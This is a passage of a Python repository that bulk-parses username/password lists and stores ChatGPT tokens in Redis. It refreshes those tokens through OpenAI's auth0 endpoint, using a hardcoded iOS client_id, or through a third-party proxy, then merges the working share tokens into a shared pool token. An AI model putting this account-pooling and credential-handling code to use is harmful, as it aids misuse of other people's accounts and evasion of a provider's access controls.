check_chat(session, token) 73 | if response.status not in [200, 429]: 74 | print(await response.json()) 75 | return False 76 | return response.status == 200 77 | 78 | 79 | # 异步函数来处理限速逻辑 80 | async def process_tokens(share_tokens): 81 | sleep_time = 3.5 # 3/10s 82 | 83 | async with aiohttp.ClientSession() as session: 84 | effective_tokens = [] 85 | for token in share_tokens: 86 | res = await asyncio.gather( 87 | check_chat(session, token), asyncio.sleep(sleep_time) 88 | ) 89 | if res[0]: 90 | effective_tokens.append(token) 91 | return effective_tokens 92 | 93 | 94 | def gen_pool_token(share_tokens: list, pool_token: str = None): 95 | url = BASE_URL + "/api/pool/update" 96 | 97 | payload = { 98 | "pool_token": pool_token, 99 | "share_tokens": "\n".join(share_tokens), 100 | } 101 | headers = {"Content-Type": "application/x-www-form-urlencoded"} 102 | 103 | response = requests.request("POST", url, headers=headers, data=payload) 104 | 105 | if response.status_code == 200: 106 | data = response.json() 107 | print(data) 108 | return data["pool_token"] 109 | else: 110 | logger.error( 111 | f"gen pool token failed, {response.status_code=}, {response.text=}" 112 | ) 113 | return None 114 | 115 | 116 | async def main(): 117 | effective_file = "effective_tokens.txt" 118 | append_file = "append.txt" 119 | share_tokens = get_active_token() 120 | effective_tokens = await process_tokens(share_tokens) 121 | with open(effective_file, "w") as f: 122 | json.dump(effective_tokens, f) 123 | with open(append_file, "a") as f: 124 | f.write("\n") 125 | f.write("\n".join(effective_tokens)) 126 | pool_token = gen_pool_token(effective_tokens, POOL_TOKEN) 127 | print(pool_token) 128 | 129 | 130 | if __name__ == "__main__": 131 | asyncio.run(main()) 132 | -------------------------------------------------------------------------------- /product_user.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : product_user.py 5 | @Time : 2023/10/09 19:31:53 6 | @Author : lvguanjun 7 | @Desc : product_user.py 8 | """ 9 | 10 | 11 | import json 12 | from queue import Queue 13 | 14 | from custom_log import logger 15 | 16 | 17 | def error_handler(func): 18 | def wrapper(line): 19 | try: 20 | return func(line) 21 | except Exception as e: 22 | logger.error(f"{line=}\n{e=}") 23 | return iter([]) 24 | 25 | return wrapper 26 | 27 | 28 | @error_handler 29 | def deal_json(line): 30 | line = json.loads(line) 31 | return ((item["username"], item["password"]) for item in line) 32 | 33 | 34 | @error_handler 35 | def deal_4_line(line): 36 | user, password = line.split("----", 1) 37 | return iter([(user, password)]) 38 | 39 | 40 | @error_handler 41 | def deal_2_equal(line): 42 | user, password = line.split("==", 1) 43 | return iter([(user, password)]) 44 | 45 | 46 | def product_user(file: str, q: Queue): 47 | processed = set() 48 | with open(file, "r") as f: 49 | for line in f: 50 | line = line.strip() 51 | if not line: 52 | continue 53 | if "----" in line: 54 | for item in deal_4_line(line): 55 | if item in processed: 56 | continue 57 | q.put(item) 58 | processed.add(item) 59 | elif "==" in line: 60 | for item in deal_2_equal(line): 61 | if item in processed: 62 | continue 63 | q.put(item) 64 | processed.add(item) 65 | else: 66 | for item in deal_json(line): 67 | if item in processed: 68 | continue 69 | q.put(item) 70 | processed.add(item) 71 | q.put(None) 72 | logger.info("queue add None, end") 73 | 74 | 75 | if __name__ == "__main__": 76 | file = "origin.txt" 77 | q = Queue() 78 | product_user(file, q) 79 | print(q.get()) 80 | print(q.qsize()) 81 | -------------------------------------------------------------------------------- /redis_cache.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : redis_cache.py 5 | @Time : 2023/10/09 22:21:09 6 | @Author : lvguanjun 7 | @Desc : redis_cache.py 8 | """ 9 | 10 | import datetime 11 | import json 12 | from typing import Optional 13 | 14 | from config import DATETIME_FORMAT, TOKEN_EXPIRE_EXTRA_TIME, gpt3_redis_cli, redis_cli 15 | from utils import Encoder, format_jwt_expired_time, is_jwt_expired 16 | 17 | 18 | def set_to_redis(key: str, value: dict): 19 | format_jwt_expired_time(value) 20 | value["user"] = key 21 | value = json.dumps(value, cls=Encoder) 22 | redis_cli.set(key, value) 23 | 24 | 25 | def update_and_add_to_redis(key: str, value: dict): 26 | origin_value = redis_cli.get(key) 27 | origin_value = json.loads(origin_value) if origin_value else {} 28 | if "access_token" in value: 29 | format_jwt_expired_time(value) 30 | origin_value.update(value) 31 | # 去除值为None的键值对 32 | origin_value = {k: v for k, v in origin_value.items() if v is not None} 33 | origin_value["user"] = key 34 | res = json.dumps(origin_value, cls=Encoder) 35 | redis_cli.set(key, res) 36 | 37 | 38 | def set_to_gpt3_redis(key: str, value: dict): 39 | format_jwt_expired_time(value) 40 | value["user"] = key 41 | value = json.dumps(value, cls=Encoder) 42 | gpt3_redis_cli.set(key, value) 43 | 44 | 45 | def update_and_add_to_redis_gpt3(key: str, value: dict): 46 | origin_value = gpt3_redis_cli.get(key) 47 | origin_value = json.loads(origin_value) if origin_value else {} 48 | if "access_token" in value: 49 | format_jwt_expired_time(value) 50 | origin_value.update(value) 51 | # 去除值为None的键值对 52 | origin_value = {k: v for k, v in origin_value.items() if v is not None} 53 | origin_value["user"] = key 54 | res = json.dumps(origin_value, cls=Encoder) 55 | gpt3_redis_cli.set(key, res) 56 | 57 | 58 | def get_from_redis(key: str, cli=redis_cli) -> Optional[dict]: 59 | value = cli.get(key) 60 | if value is not None: 61 | value = json.loads(value) 62 | jwt_token = value["access_token"] 63 | if is_jwt_expired(jwt_token, TOKEN_EXPIRE_EXTRA_TIME): 64 | return None 65 | return value 66 | 67 | 68 | def set_error_to_redis(key: str): 69 | redis_cli.sadd("error-user", key) 70 | 71 | 72 | def is_in_error_set(key: str) -> bool: 73 | return redis_cli.sismember("error-user", key) 74 | 75 | 76 | def get_need_refresh_tokens(extra_time: int = 0) -> list: 77 | """ 78 | 获取需要刷新的token 79 | 80 | @param extra_time: 提前过期时间,如果小于0,则获取所有token 81 | """ 82 | need_refresh_tokens = [] 83 | for user in redis_cli.keys("*==*"): 84 | token = redis_cli.get(user) 85 | token = json.loads(token) 86 | if token.get("change_password"): 87 | continue 88 | if extra_time < 0: 89 | need_refresh_tokens.append((user, token)) 90 | continue 91 | expire_time = token["expired_time"] 92 | expire_time = datetime.datetime.strptime(expire_time, DATETIME_FORMAT) 93 | if ( 94 | datetime.datetime.now() + datetime.timedelta(seconds=extra_time) 95 | < expire_time 96 | ): 97 | need_refresh_tokens.append((user, token)) 98 | return need_refresh_tokens 99 | 100 | 101 | def get_all_token(extra_time: int = 0) -> list: 102 | """ 103 | 获取所有token 104 | 105 | @param extra_time: 提前过期时间,如果小于0,则获取所有token 106 | """ 107 | all_tokens = [] 108 | for user in redis_cli.keys("*==*"): 109 | token = redis_cli.get(user) 110 | token = json.loads(token) 111 | if extra_time < 0: 112 | all_tokens.append(token) 113 | continue 114 | expire_time = token["expired_time"] 115 | expire_time = datetime.datetime.strptime(expire_time, DATETIME_FORMAT) 116 | if ( 117 | datetime.datetime.now() + datetime.timedelta(seconds=extra_time) 118 | < expire_time 119 | ): 120 | all_tokens.append(token) 121 | return all_tokens 122 | 123 | 124 | def get_survive_share_token(extra_time: int = 0) -> list: 125 | """ 126 | 获取所有幸存的的share_token 127 | """ 128 | survive_tokens = [] 129 | for user in redis_cli.keys("*==*"): 130 | token = redis_cli.get(user) 131 | token = json.loads(token) 132 | # expire_time = token["expired_time"] 133 | # expire_time = datetime.datetime.strptime(expire_time, DATETIME_FORMAT) 134 | # if ( 135 | # datetime.datetime.now() + datetime.timedelta(seconds=extra_time) 136 | # > expire_time 137 | # ): 138 | # continue 139 | if all( 140 | [ 141 | not token.get("change_password"), 142 | not token.get("deactivated"), 143 | # token.get("refresh_token"), 144 | ] 145 | ): 146 | survive_tokens.append(token["share_token"]) 147 | return survive_tokens, len(survive_tokens) 148 | 149 | 150 | def from_share_token_get_user(share_token: str, redis_cli=redis_cli) -> Optional[str]: 151 | """ 152 | 通过share_token获取user 153 | """ 154 | for user in redis_cli.keys("*==*"): 155 | token = redis_cli.get(user) 156 | token = json.loads(token) 157 | if token.get("share_token") == share_token: 158 | return user 159 | return None 160 | 161 | 162 | if __name__ == "__main__": 163 | survive_tokens, count = get_survive_share_token() 164 | print(f"{survive_tokens=}", f"{count=}", sep="\n") 165 | -------------------------------------------------------------------------------- /refresh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : refresh.py 5 | @Time : 2023/10/10 13:54:51 6 | @Author : lvguanjun 7 | @Desc : refresh.py 8 | """ 9 | 10 | import abc 11 | import json 12 | import time 13 | from concurrent.futures import ThreadPoolExecutor 14 | 15 | import requests 16 | 17 | from config import BASE_URL, PROXY, REFRESH_EXTRA_TIME 18 | from custom_log import logger 19 | from redis_cache import get_need_refresh_tokens, set_to_redis 20 | from session_refresh import session_refresh 21 | 22 | 23 | class TokenRefresher: 24 | def __init__(self, base_url, headers, payload): 25 | self.session = requests.Session() 26 | self.base_url = base_url 27 | self.headers = headers 28 | self.payload = payload 29 | 30 | @abc.abstractmethod 31 | def is_changed_password(self, response: requests.Response): 32 | pass 33 | 34 | def get_new_token(self, refresh_token): 35 | if PROXY: 36 | proxies = {"https": PROXY, "http": PROXY} 37 | self.session.proxies = proxies 38 | self.payload["refresh_token"] = refresh_token 39 | if self.headers["Content-Type"] == "application/json": 40 | payload = json.dumps(self.payload) 41 | else: 42 | payload = self.payload 43 | response = self.session.post(self.base_url, headers=self.headers, data=payload) 44 | if response.status_code == 200: 45 | update_token = response.json() 46 | update_token["refresh_token"] = refresh_token 47 | return update_token 48 | elif self.is_changed_password(response): 49 | return {"change_password": True} 50 | else: 51 | logger.error(f"{response.status_code=}, {response.text=}") 52 | return None 53 | 54 | def get_new_token_from_session(self, session_token): 55 | response = session_refresh(session_token) 56 | if response.status_code == 200: 57 | return response.json() 58 | elif self.is_changed_password(response): 59 | return {"change_password": True} 60 | else: 61 | logger.error(f"{response.status_code=}, {response.text=}") 62 | return None 63 | 64 | def refresh_user_token(self, user, token): 65 | if session_token := token.get("session_token"): 66 | update_token = self.get_new_token_from_session(session_token) 67 | elif refresh_token := token.get("refresh_token"): 68 | update_token = self.get_new_token(refresh_token) 69 | else: 70 | logger.error(f"no refresh_token or session_token, {user=}") 71 | return 72 | if update_token is not None: 73 | if update_token == {"change_password": True}: 74 | token["change_password"] = True 75 | set_to_redis(user, token) 76 | logger.info(f"user change password, {user=}") 77 | else: 78 | set_to_redis(user, update_token) 79 | logger.info(f"refresh token success, {user=}") 80 | else: 81 | logger.error(f"refresh token failed, {user=}") 82 | 83 | def refresh_token(self, sleep_time: int): 84 | with ThreadPoolExecutor(max_workers=10) as executor: 85 | for user, token in get_need_refresh_tokens(REFRESH_EXTRA_TIME): 86 | executor.submit(self.refresh_user_token, user, token) 87 | time.sleep(sleep_time) 88 | 89 | 90 | class Auth0TokenRefresher(TokenRefresher): 91 | def __init__(self): 92 | base_url = "https://auth0.openai.com/oauth/token" 93 | headers = {"Content-Type": "application/json"} 94 | payload = { 95 | "redirect_uri": ( 96 | "com.openai.chat://auth0.openai.com/ios/com.openai.chat/callback" 97 | ), 98 | "grant_type": "refresh_token", 99 | "client_id": "pdlLIX2Y72MIl2rhLhTE9VV9bN905kBh", 100 | } 101 | super().__init__(base_url, headers, payload) 102 | 103 | def is_changed_password(self, response: requests.Response): 104 | return ( 105 | response.status_code == 403 106 | and "Unknown or invalid refresh token." in response.text 107 | ) 108 | 109 | 110 | class FakeopenTokenRefresher(TokenRefresher): 111 | def __init__(self): 112 | base_url = BASE_URL + "/api/auth/refresh" 113 | headers = {"Content-Type": "application/x-www-form-urlencoded"} 114 | payload = {} 115 | super().__init__(base_url, headers, payload) 116 | 117 | def is_changed_password(self, response: requests.Response): 118 | """ 119 | 判断是否是因为修改密码导致的刷新失败 120 | ps: fakeopen的刷新接口返回太过简单,慎用来判断是否修改密码 121 | """ 122 | return response.status_code == 500 and any( 123 | [ 124 | "error: RefreshAccessTokenError" in response.text, 125 | "error refresh access token" in response.text, 126 | "failed to refresh access token" in response.text, 127 | ] 128 | ) 129 | 130 | 131 | if __name__ == "__main__": 132 | auth0_token_refresher = Auth0TokenRefresher() 133 | fakeopen_token_refresher = FakeopenTokenRefresher() 134 | # auth0_token_refresher.refresh_token(1) 135 | fakeopen_token_refresher.refresh_token(0) 136 | -------------------------------------------------------------------------------- /requirement.txt: -------------------------------------------------------------------------------- 1 | aiohttp==3.8.6 2 | PyJWT==2.8.0 3 | python-dotenv==1.0.0 4 | redis==5.0.1 5 | requests==2.31.0 6 | -------------------------------------------------------------------------------- /session_refresh.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | from config import BASE_URL 4 | 5 | 6 | def session_refresh(session_token: str) -> requests.Response: 7 | url = BASE_URL + "/api/auth/session" 8 | headers = {"content-type": "application/x-www-form-urlencoded"} 9 | payload = {"session_token": session_token} 10 | response = requests.request("POST", url, headers=headers, data=payload) 11 | return response 12 | 13 | 14 | if __name__ == "__main__": 15 | session_token = "session_token" 16 | resp = session_refresh(session_token) 17 | print(resp.text) 18 | -------------------------------------------------------------------------------- /utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | @File : utils.py 5 | @Time : 2023/10/10 00:00:05 6 | @Author : lvguanjun 7 | @Desc : utils.py 8 | """ 9 | 10 | import datetime 11 | import json 12 | import time 13 | 14 | import jwt 15 | 16 | from config import DATETIME_FORMAT 17 | 18 | 19 | class Encoder(json.JSONEncoder): 20 | def default(self, obj): 21 | if isinstance(obj, datetime.datetime): 22 | return obj.strftime(DATETIME_FORMAT) 23 | return json.JSONEncoder.default(self, obj) 24 | 25 | 26 | def is_jwt_expired(jwt_token: str, extra_time: int = 0) -> bool: 27 | payload = jwt.decode( 28 | jwt_token, algorithms=["RS256"], options={"verify_signature": False} 29 | ) 30 | exp = payload["exp"] 31 | return time.time() + extra_time > exp 32 | 33 | 34 | def format_jwt_expired_time(response: dict): 35 | jwt_token = response["access_token"] 36 | payload = jwt.decode( 37 | jwt_token, algorithms=["RS256"], options={"verify_signature": False} 38 | ) 39 | exp = payload["exp"] 40 | struct_time = time.localtime(exp) 41 | dt_object = datetime.datetime(*struct_time[:6]) 42 | response["expired_time"] = dt_object.strftime(DATETIME_FORMAT) 43 | return 44 | 45 | 46 | if __name__ == "__main__": 47 | pass 48 | --------------------------------------------------------------------------------